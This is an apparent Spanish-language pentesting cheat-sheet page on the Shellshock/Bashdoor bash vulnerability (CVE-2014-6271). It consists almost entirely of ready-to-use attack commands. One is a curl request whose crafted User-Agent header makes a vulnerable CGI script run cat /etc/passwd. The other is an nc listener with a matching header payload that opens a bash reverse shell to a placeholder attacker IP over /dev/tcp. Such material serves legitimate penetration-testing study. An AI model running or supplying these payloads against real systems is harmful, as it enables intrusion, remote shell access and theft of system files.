> For the complete documentation index, see [llms.txt](https://pentesting.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.mrw0l05zyn.cl/explotacion/vulnerabilidades/shellshock-bashdoor-cve-2014-6271.md).

# Shellshock / Bashdoor (CVE-2014-6271)

Verificación de vulnerabilidad Shellshock / Bashdoor.

```bash
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://<target>/cgi-bin/<vulnerable>
```

Reverse shell.

```bash
# Máquina atacante
nc -lvnp <listen-port>
# Máquina victima
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" http://<target>/cgi-bin/<vulnerable>
```